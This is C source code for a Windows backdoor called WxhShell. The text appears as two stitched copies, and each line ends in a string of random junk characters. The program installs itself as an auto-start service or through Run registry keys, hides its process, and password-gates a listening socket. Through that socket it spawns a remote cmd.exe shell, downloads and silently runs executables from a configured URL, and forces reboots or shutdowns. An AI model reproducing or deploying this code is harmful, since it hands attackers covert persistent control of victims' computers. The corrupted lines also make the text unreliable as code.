    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cNi)[2o7  
    if(Boot(SHUTDOWN)) M_wqb'=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {H FF|Dx  
    else { ' +6H=Qn  
    closesocket(wsh); Z5lE*z  
    ExitThread(0); _^+z2m+ ~N  
    } %SW"{GnO ^  
    break; V87?J w%2  
    } p<5ED\;N;  
  // 获取shell XG]ltSOy  
  case 's': { M=Y}w?  
    CmdShell(wsh); DH(Q md  
    closesocket(wsh); \ /(;LHWQ  
    ExitThread(0); DYS|"tSk  
    break; A=LyN$ %  
  } =+K2`=y;WF  
  // 退出 zmV5k  
  case 'x': { VqzcTr]_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e;1n!_l\  
    CloseIt(wsh); F9DY\EI  
    break; t{\,vI  
    } 3l?D%E]P  
  // 离开 7Sc._G{[%  
  case 'q': { Lq#>N_72W0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cVHv>nd#  
    closesocket(wsh); =.q Zgcg  
    WSACleanup(); $is|B9B  
    exit(1); JZQT}  
    break; Gw3H1:yo  
        } PP\nR @  
  } *\9JIi 2  
  } H5@N<v5 u  
(DzV3/+p^  
  // 提示信息 rQ0V3x1"Qx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *XRAM.  
} h,:8TMJRRN  
  } "i+fO&LpZ  
 nwH'E  
  return; 9$-V/7@)  
} DOi\DJV!  
C_>dJYM  
// shell模块句柄 4a'GWzUtS  
int CmdShell(SOCKET sock) W0vdU;?%  
{ (E'f'g  
STARTUPINFO si; ^a=,,6T  
ZeroMemory(&si,sizeof(si)); FX+;azE7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5v51:g>c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f0S&_gt  
PROCESS_INFORMATION ProcessInfo; p&Usl.  
char cmdline[]="cmd"; NXQdyg,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y:TLGQ0  
  return 0;  yQkj4v{  
} Jvysvi{8  
%G~ f>  
// 自身启动模式 q&.SB`  
int StartFromService(void) =c{ / Z  
{ Im9^mVe  
typedef struct D8u_Z<6IjI  
{ V~rF`1+5N  
  DWORD ExitStatus; giU6f!%  
  DWORD PebBaseAddress; _x<CTFTL  
  DWORD AffinityMask; l56D?E8  
  DWORD BasePriority; [12^NEt  
  ULONG UniqueProcessId; Vx1xULdY  
  ULONG InheritedFromUniqueProcessId; }"?v=9.G  
}   PROCESS_BASIC_INFORMATION; F-MN%WD~  
q$[x*!~  
PROCNTQSIP NtQueryInformationProcess; Rk#@{_  
F1skI _!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *KF-q?PBb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0QE2e'}}-  
K1S)S8.EZ8  
  HANDLE             hProcess; Z4U8~i  
  PROCESS_BASIC_INFORMATION pbi; >L6V!  
;x.xj/7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sxq'uF(K  
  if(NULL == hInst ) return 0; $0[T=9q <+  
MjIp~?*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tOn_S@/r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;U6z|O7L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1-.UkdZ}  
X|Gsf= 1S  
  if (!NtQueryInformationProcess) return 0; e<_p\LiOS  
ocwh*t)<k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wIi_d6?  
  if(!hProcess) return 0; vAW+ ,Rfj  
,(0q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cC'{+j8-a  
?zwPF;L*  
  CloseHandle(hProcess); R8 1z|+c|_  
nK*$P +[R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l@-J&qG  
if(hProcess==NULL) return 0; OSc&n>\t  
cnh\K.*}_x  
HMODULE hMod; 5Qb%g )jZ  
char procName[255]; 8$ dJh]\Y  
unsigned long cbNeeded; u_.`I8qa  
&P Ru[!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I4%&/~!  
Q<$I,C]  
  CloseHandle(hProcess); S:qML]RO  
_9!_fIY  
if(strstr(procName,"services")) return 1; // 以服务启动 Xz`?b4i  
m7z6c"?lB  
  return 0; // 注册表启动 g0-hN%=6  
} _1w?nN'  
2J;h}/!H  
// 主模块 Q>y2C8rnJ/  
int StartWxhshell(LPSTR lpCmdLine) 9;3f`DK@2k  
{ [([?+Ouy  
  SOCKET wsl; y>zPsc,  
BOOL val=TRUE; .VF4?~+M-  
  int port=0; m S[Vl6  
  struct sockaddr_in door; _aOisN{  
`.PZx%=  
  if(wscfg.ws_autoins) Install(); ax7]>Z=%d"  
N~H9|CX  
port=atoi(lpCmdLine); r0=Aru5n  
a}l^+  
if(port<=0) port=wscfg.ws_port; \ ]  
1=C>S2q  
  WSADATA data; 3| 5Af  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fDo )~t*~  
Bor_Kib  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;hsgi|Cy-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MrIo.  
  door.sin_family = AF_INET; SJhcmx+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &E.ckWf  
  door.sin_port = htons(port); z@hlN3dg  
Yrp WGK520  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VIo %((  
closesocket(wsl); :5?g<@  
return 1; >U@7xeK  
} A@^e 4\  
B9;dX6c  
  if(listen(wsl,2) == INVALID_SOCKET) { 2[i:bksjW  
closesocket(wsl); D6!`p6r+  
return 1; HpI[Af}l  
} mq@2zE`.(  
  Wxhshell(wsl); @D%H-X  
  WSACleanup(); @$ E&H`da  
OF^v;4u  
return 0; <TmMUA)`}  
3QSP](W-(  
} yRaB\'  
T1ZAw'6(K  
// 以NT服务方式启动 wPTXRq%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >W[8wR  
{ T 'pX)ZH  
DWORD   status = 0; Kx.I'_Qk  
  DWORD   specificError = 0xfffffff; .L'>1H]B  
ks=j v:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nunTTE,iq%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X&sXss<fO%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9J% ~?k  
  serviceStatus.dwWin32ExitCode     = 0; @ ]u nqCO  
  serviceStatus.dwServiceSpecificExitCode = 0; c%Y%c2([  
  serviceStatus.dwCheckPoint       = 0; Ij>IL!  
  serviceStatus.dwWaitHint       = 0; b`N0lH.V  
D2x-Wa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o ohgZ&k2]  
  if (hServiceStatusHandle==0) return; -7)%J+5  
'r6s5 WC  
status = GetLastError(); j!9p#JK#u  
  if (status!=NO_ERROR) ia !t~~f  
{ ]c,ttS _  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Afi;s. ,  
    serviceStatus.dwCheckPoint       = 0; NDLk+n  
    serviceStatus.dwWaitHint       = 0; 6?n AO  
    serviceStatus.dwWin32ExitCode     = status; uNe5Mv|}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3B:U>F,]4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !P7&{I,e  
    return; ,Z*Fo: q  
  } o|lEF+  
[eI{vH{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D4%5T>^LW[  
  serviceStatus.dwCheckPoint       = 0; h?[3{Z^  
  serviceStatus.dwWaitHint       = 0; JgXP2|Y!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ld>y Fb(`  
} qCg`"/0  
24Lo .  
// 处理NT服务事件,比如:启动、停止 ] fz0E:x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kxU <?0  
{ 86!"b  
switch(fdwControl) 7(B|NYq  
{ Z+h^ ie"g  
case SERVICE_CONTROL_STOP: "HTp1  
  serviceStatus.dwWin32ExitCode = 0; -.= q6N4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "2HSb5b"`  
  serviceStatus.dwCheckPoint   = 0; r jfcZ@  
  serviceStatus.dwWaitHint     = 0; iLf:an*vH  
  { @D_=M tF<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C YA#:  
  } 4G;FpWQm  
  return; kylR)  
case SERVICE_CONTROL_PAUSE: 7:x%^J+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B,?Fjot#m  
  break; pfS?:f<+6"  
case SERVICE_CONTROL_CONTINUE: y&T(^EA;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p#HbN#^Hy  
  break; MJsz  
case SERVICE_CONTROL_INTERROGATE: dj,7lJy  
  break; o, e y.  
}; (u`[I4z`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %/!n]g-  
} vq yR aaMf  
S'~Zlv 3`  
// 标准应用程序主函数 :Z|lGH =  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c(jF^ 0~  
{ d5$2*h{^v  
VXEA.Mko  
// 获取操作系统版本 JEq0{_7  
OsIsNt=GetOsVer(); cn1CM'Ru  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _[}r2,e  
t]1j4S"pm  
  // 从命令行安装 6||zwwk'.  
  if(strpbrk(lpCmdLine,"iI")) Install(); #|'&%n|Z  
 5|2v6W!e  
  // 下载执行文件 [9S\3&yoh  
if(wscfg.ws_downexe) { No8~~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PGZ.\i  
  WinExec(wscfg.ws_filenam,SW_HIDE); kb<Nuw  
} Ezw(J[).C  
x9}D2Ui  
if(!OsIsNt) { :<Z*WoEmt  
// 如果时win9x,隐藏进程并且设置为注册表启动 n|`L>@aw,  
HideProc(); K$_Rno"  
StartWxhshell(lpCmdLine); lk8g2H ,  
} g`~c|bx  
else lN94 b3_W  
  if(StartFromService()) BEM_y:#  
  // 以服务方式启动 ct='Z E  
  StartServiceCtrlDispatcher(DispatchTable); j3 d=O!  
else (5[|h  
  // 普通方式启动 fF !Mmm"  
  StartWxhshell(lpCmdLine); [OFg (R-  
~@=:I  
return 0; "5Oi[w&F5  
} A-gNfXP,D  
gNr/rp9A$m  
Pnq[r2#]:  
?Pz:H/ $  
=========================================== l/[0N@r~  
%jEdgD%xV  
}5dYmny  
:_v/a+\n  
^L}fj$  
O)C y4[  
" -.ITcD g  
b%>vhj&F  
#include <stdio.h> >Ya+#j~CZ  
#include <string.h> hU=n>g>nx  
#include <windows.h> | ZBv;BW  
#include <winsock2.h> T)Z2=5V  
#include <winsvc.h> 9u<4Q_I`  
#include <urlmon.h> =)5eui>{  
XE);oL2xP  
#pragma comment (lib, "Ws2_32.lib") #UGtYD}"  
#pragma comment (lib, "urlmon.lib") a.)Gd]}g  
lO},fM2j  
#define MAX_USER   100 // 最大客户端连接数 Omo1p(y  
#define BUF_SOCK   200 // sock buffer i-!Z/,oL  
#define KEY_BUFF   255 // 输入 buffer sxM0c  
]F5?>du@~  
#define REBOOT     0   // 重启 ##VS%&{  
#define SHUTDOWN   1   // 关机 g+8{{o=  
yv| |:wZC  
#define DEF_PORT   5000 // 监听端口 $(v1q[ig  
B6~a `~"  
#define REG_LEN     16   // 注册表键长度 lVY`^pw?  
#define SVC_LEN     80   // NT服务名长度 !fF1tW  
D-*`b&i48  
// 从dll定义API S8;Dk@rr(y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ") kE 1D%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); clK3kBh~&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C!xqp   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z#.J>_u )  
D%k%kg0,  
// wxhshell配置信息 vtw{ A}  
struct WSCFG { |0YDCMq(  
  int ws_port;         // 监听端口 8v)pPJr  
  char ws_passstr[REG_LEN]; // 口令 v,w/g|  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'J~{8w,.  
  char ws_regname[REG_LEN]; // 注册表键名 C;2!c  
  char ws_svcname[REG_LEN]; // 服务名 O-- "\4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aW hhq@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s6SG%Vd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e$>.x< Eq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i6wLM-.)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I$sJ8\|gw'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (UWP=L1  
"3CQ0  
}; QXx<Hi^ /  
nTO,d$!Kp  
// default Wxhshell configuration 4$9WJ ~V{  
struct WSCFG wscfg={DEF_PORT, v!(B S,  
    "xuhuanlingzhe", kzPHPERA]  
    1, ~M`-sSjZs  
    "Wxhshell", 1<a+91*=e  
    "Wxhshell", 8 _0j^oh  
            "WxhShell Service", wN/d J  
    "Wrsky Windows CmdShell Service", o>x*_4[  
    "Please Input Your Password: ", @czNiWU"4;  
  1, .Ymoh>JRL  
  "http://www.wrsky.com/wxhshell.exe", [ L% -lJ  
  "Wxhshell.exe" jSVIO v:  
    }; ]S+NH[g+  
>?s[g)np  
// 消息定义模块 4UD7!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :lz@G 4 =C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4Z>KrFO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PR?Ls{}p\  
char *msg_ws_ext="\n\rExit."; %rVC3}  
char *msg_ws_end="\n\rQuit."; V&82U w  
char *msg_ws_boot="\n\rReboot..."; v^2q\A-?  
char *msg_ws_poff="\n\rShutdown..."; c6gRXp'ID  
char *msg_ws_down="\n\rSave to "; 1HYrJb,d  
:f (UZmV$  
char *msg_ws_err="\n\rErr!"; xab1`~%K  
char *msg_ws_ok="\n\rOK!"; 6 J[ {?,  
(+}H ih  
char ExeFile[MAX_PATH]; wi/Fx=w  
int nUser = 0; ; V)pXLE  
HANDLE handles[MAX_USER]; ]pi"M 3f_  
int OsIsNt; n'a=@/  
JK:i-  
SERVICE_STATUS       serviceStatus; Lqy]bnY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?EF[OyE  
M]&F1<  
// 函数声明 Xy[O  
int Install(void); ) jBPt&  
int Uninstall(void); K?0f)@\nx  
int DownloadFile(char *sURL, SOCKET wsh); @q0\oG4L  
int Boot(int flag); p^PAbCP'|3  
void HideProc(void); %>^CD_[eO  
int GetOsVer(void); 0NlC|5ma)  
int Wxhshell(SOCKET wsl); LAqmM3{fA  
void TalkWithClient(void *cs); @Bs7kjuX  
int CmdShell(SOCKET sock); F|\^O[#R  
int StartFromService(void); x*GGO)r  
int StartWxhshell(LPSTR lpCmdLine); nxH+XHv  
KS%LXc('  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3>FeTf#:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _E0XUT!rA  
?,8|K B  
// 数据结构和表定义 .Bxv|dji  
SERVICE_TABLE_ENTRY DispatchTable[] = ?B> { rj  
{ )U0`?kD  
{wscfg.ws_svcname, NTServiceMain}, TtA6N8G  
{NULL, NULL} tow0/ Jt  
}; .OI&Zm-  
l1*qDzb  
// 自我安装 !p$z8~  
int Install(void) \q9wo*A  
{ Y'tPD#|r  
  char svExeFile[MAX_PATH]; i> Wsc?  
  HKEY key; ?K9&ye_rgw  
  strcpy(svExeFile,ExeFile); B:5\+_a!  
82ay("ZY  
// 如果是win9x系统,修改注册表设为自启动 HD^Ou5YB  
if(!OsIsNt) { ,z A9*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h!l&S2)D`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;"/[gFD5u  
  RegCloseKey(key); C+ \c(M a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UYJMW S=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u0^Vy#@_  
  RegCloseKey(key); TC7&IqT  
  return 0; c^$_epc*  
    } LLE\;,bv  
  } dO/iL7K&  
} ;!H<W[  
else { R+vago:  
D; xRgHn  
// 如果是NT以上系统,安装为系统服务 ~,j52obR6Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T](N ^P  
if (schSCManager!=0) }6zo1"  
{ Mrpz(})  
  SC_HANDLE schService = CreateService N<&"_jzm  
  ( >fG=(1"  
  schSCManager, iZsZSW \  
  wscfg.ws_svcname, ^e*Tg&  
  wscfg.ws_svcdisp, L9(mY `d>"  
  SERVICE_ALL_ACCESS, cE (P^;7D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9i+OYWUO  
  SERVICE_AUTO_START, FKhmg&+>  
  SERVICE_ERROR_NORMAL, LIzdP,^pc  
  svExeFile, (I(?oCQ  
  NULL, 6&jW.G8/  
  NULL, VRe7Q0  
  NULL, FDfLPCQm  
  NULL,  6/u]r  
  NULL RsTz3]`yv  
  ); 9g %1^$R  
  if (schService!=0) ]Rah,4?9f  
  { Udj!y$?  
  CloseServiceHandle(schService); fC6zDTis8A  
  CloseServiceHandle(schSCManager); z?T;2/_7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %t&   
  strcat(svExeFile,wscfg.ws_svcname); k@[\ C`P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n=t50/jV3=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |qUi9#NUo  
  RegCloseKey(key); mab921-n  
  return 0; S5o\joc  
    } 1!N|a< #  
  } ]O}TK^%  
  CloseServiceHandle(schSCManager); O9%`G  
} r 7 dwj  
} z4CqHS~%  
T'VZ=l[  
return 1; &6 ymGo  
} n1yIQ8F  
Ep>} S  
// 自我卸载 \#)|6w-  
int Uninstall(void) 0v7#vZ  
{ rV6&:\  
  HKEY key; EJAk'L+nuH  
S F:>dneB  
if(!OsIsNt) { il8n K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,|5|aVfh  
  RegDeleteValue(key,wscfg.ws_regname); >* Ag0.Az  
  RegCloseKey(key); !U 6q;' )-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %5g(|Y]  
  RegDeleteValue(key,wscfg.ws_regname); S10"yhn(-t  
  RegCloseKey(key); :%&|5Ytb  
  return 0; V47z;oMXct  
  } TH[xSg  
} AW{"9f4  
} .wH`9aq;5@  
else { zWs ("L(#s  
G_ -8*.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xh6Yv%\@  
if (schSCManager!=0) 3?%?J^/a  
{ ]1Wh3C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <8J_[ S  
  if (schService!=0) 9w)W|9  
  { oz.#+t%X$b  
  if(DeleteService(schService)!=0) { #uRj9|E7  
  CloseServiceHandle(schService);  _'Jz+f.  
  CloseServiceHandle(schSCManager); }dv$^4 *n  
  return 0; 6&J7=g%G  
  } t,bQ@x{zVC  
  CloseServiceHandle(schService); >O;V[H2[  
  } u; ]4 ydp  
  CloseServiceHandle(schSCManager); 9~7s*3zI  
} 0|i3#G_~  
} )~X.x"}8k  
jw 4B^2}  
return 1; WilKC|R]P  
} Zk:Kux[7  
?Yf0h_>  
// 从指定url下载文件 mJU1n  
int DownloadFile(char *sURL, SOCKET wsh) 4Tdp;n\F  
{ Mg"e$m  
  HRESULT hr;  cFD3  
char seps[]= "/"; rp&XzMwC4  
char *token; <%Al(Lm0  
char *file; gJ=y7yX  
char myURL[MAX_PATH]; * :kMv;9  
char myFILE[MAX_PATH]; EvP\;7B  
5^5hhm4  
strcpy(myURL,sURL); \rpXG9  
  token=strtok(myURL,seps); -){aBMOv3  
  while(token!=NULL) J@}PBHK+  
  { 0 s$;3qE  
    file=token; <u_ vL WS  
  token=strtok(NULL,seps); TSKT6_IJw  
  } d ug^oc1  
5+DId7d'n  
GetCurrentDirectory(MAX_PATH,myFILE); m7#v2:OD+  
strcat(myFILE, "\\"); e,K.bgi  
strcat(myFILE, file); d1qvS@  
  send(wsh,myFILE,strlen(myFILE),0); -F$v`|(O+  
send(wsh,"...",3,0); M\_IQj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ieap  
  if(hr==S_OK) UdOO+Z_K%  
return 0; >vPv 4e7&3  
else Ee3 -oHa  
return 1; ,{C hHnJ%#  
<B&vfKO^h  
} Nsf>b8O  
\1ncr4  
// 系统电源模块 `B$rr4_  
int Boot(int flag) `s8o2"12  
{ 6 h%,%  
  HANDLE hToken; Tlm::S   
  TOKEN_PRIVILEGES tkp; Fks #Y1rI  
JP,yRb\  
  if(OsIsNt) { }?)U`zF)7}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p]eVby"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @|PUet_pb  
    tkp.PrivilegeCount = 1; T -p~8=I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ul<:Yt&nI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y|!m  
if(flag==REBOOT) { "wR1=&gk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8l l}"  
  return 0; =5;tB  
} =E w<s5C@  
else { Qv W vS9]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nu;?})tF  
  return 0; HcQ)XJPK  
} QJy1j~9x  
  } 6r.#/' "  
  else { yvWM]A  
if(flag==REBOOT) { k`((6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q~f mVWq  
  return 0; Ge`PVwn  
} oZ_,WwnE  
else { LzQOzl@z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5AK@e|G$w  
  return 0; -V&nlP  
} ~l8w]R3A  
} }nRTw2-z  
}X/>WiGh:  
return 1; Ye|(5f  
} Yosfk\D  
\iRmGvT  
// win9x进程隐藏模块 G1a56TIN~  
void HideProc(void) j#jwK(:]  
{ 7?;ZE:  
/ K(l[M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M`&78j  
  if ( hKernel != NULL ) ;4QE.&s`  
  { Urz9S3#\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); < V*/1{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y?6}r;<  
    FreeLibrary(hKernel); ^;sE)L6  
  } ,<BV5~T.|  
-W{ !`<8D  
return; 6j Rewj  
} q2P_37  
5\Rg%Ezl  
// 获取操作系统版本 C]Q`!e  
int GetOsVer(void) }X6w"  
{ ]$BC f4:  
  OSVERSIONINFO winfo; "/y SHB[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VHi'~B#'*  
  GetVersionEx(&winfo); *P/DDRq(2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ss3~X90!*B  
  return 1; Q?bCQZ{-Lh  
  else %ol\ sO|  
  return 0; 1QPz|3f@\  
} Ga_Pt8L6  
8,IQ6Or|-2  
// 客户端句柄模块 I7\T :Q[  
int Wxhshell(SOCKET wsl) qe5;Pq !G  
{ ~d3|zlh  
  SOCKET wsh; cw,|,uXq 6  
  struct sockaddr_in client; ]K'OH&  
  DWORD myID; 2Ab`i!#  
z(u,$vZ _  
  while(nUser<MAX_USER) r>}z|I'  
{ 5,pEJ>dDD3  
  int nSize=sizeof(client); 3+\Zom4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z*b$&nM  
  if(wsh==INVALID_SOCKET) return 1; <G0Ut6J>  
0 ;].q*|#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <MKX F V  
if(handles[nUser]==0) !>N+a3   
  closesocket(wsh); kCALJRf~d  
else azzG  
  nUser++; V|TD+7.`QB  
  } 3 Q~0b+k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E[i#8_  
kRr/x-"  
  return 0; eE_$ADEf  
} ->*~e~T  
]T{v~]7:{  
// 关闭 socket JAM]neKiX  
void CloseIt(SOCKET wsh) dOK]Su  
{ )5`~WzA  
closesocket(wsh); 4M!wm]n/%5  
nUser--; uz I-1@`  
ExitThread(0); XgyLlp;,O  
} 4:Oq(e_(  
OrF.wcg  
// 客户端请求句柄 jZQ{ XMF  
void TalkWithClient(void *cs) P 'o]#Az  
{ ^ p7z3ng  
A9KPU:  
  SOCKET wsh=(SOCKET)cs; Kf6 D)B 26  
  char pwd[SVC_LEN]; ]a`"O  
  char cmd[KEY_BUFF]; |S~$IFN4  
char chr[1]; gb4$W@N7V  
int i,j; M?=I{}!@Q  
Fn0 |v66  
  while (nUser < MAX_USER) { 6b%IPbb  
ArjRoXDE  
if(wscfg.ws_passstr) { (w#)|9Cxm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4 aE{}jp1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M(yWE0 3  
  //ZeroMemory(pwd,KEY_BUFF); &^w "  
      i=0; m?gGFxo  
  while(i<SVC_LEN) { YS@T Q?  
*Z\AO'h=Z  
  // 设置超时 0_AIKJrL  
  fd_set FdRead; HRJ\H- V  
  struct timeval TimeOut; #k1IrqUp  
  FD_ZERO(&FdRead); L]H' ]wpn=  
  FD_SET(wsh,&FdRead); N`{ 6<Z0  
  TimeOut.tv_sec=8; ZNl1e'  
  TimeOut.tv_usec=0; Vc6 >i|"-O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +* F e   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JIjo^zOXsc  
?~IdPSY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cv1PiIl  
  pwd=chr[0]; ,)N/2M\B-  
  if(chr[0]==0xd || chr[0]==0xa) { itE/QB  
  pwd=0; W]Nc6B*gI  
  break; Z4:^#98c.  
  } 7=NKbv]  
  i++; )#GF:.B  
    } ?bu=QV@  
p5py3k  
  // 如果是非法用户,关闭 socket 2.=G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >$yA ,N  
} cW_l|  
q!+:zZu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]NtBP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k7{|\w%  
c<lEFk!g  
while(1) { _mk@1ft  
vC^{,?@  
  ZeroMemory(cmd,KEY_BUFF); a\ ~118 !  
K<r5jb  
      // 自动支持客户端 telnet标准   !Eb|AHa  
  j=0; ? HNuffk  
  while(j<KEY_BUFF) { $iMLT8U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qg]A^{.1  
  cmd[j]=chr[0]; !G6h~`[  
  if(chr[0]==0xa || chr[0]==0xd) { ,j9?9Z7R  
  cmd[j]=0; ._t1eb`m{  
  break; 4\nG Wi{2  
  } fFoZ! H  
  j++; `KE]RTq  
    } I<XYLe[_S  
C@[U:\  
  // 下载文件 *z#du*f[  
  if(strstr(cmd,"http://")) { xG(iSuz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UCkV ;//.  
  if(DownloadFile(cmd,wsh)) \{!,a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KK5_;<  
  else -"{g kjuv  
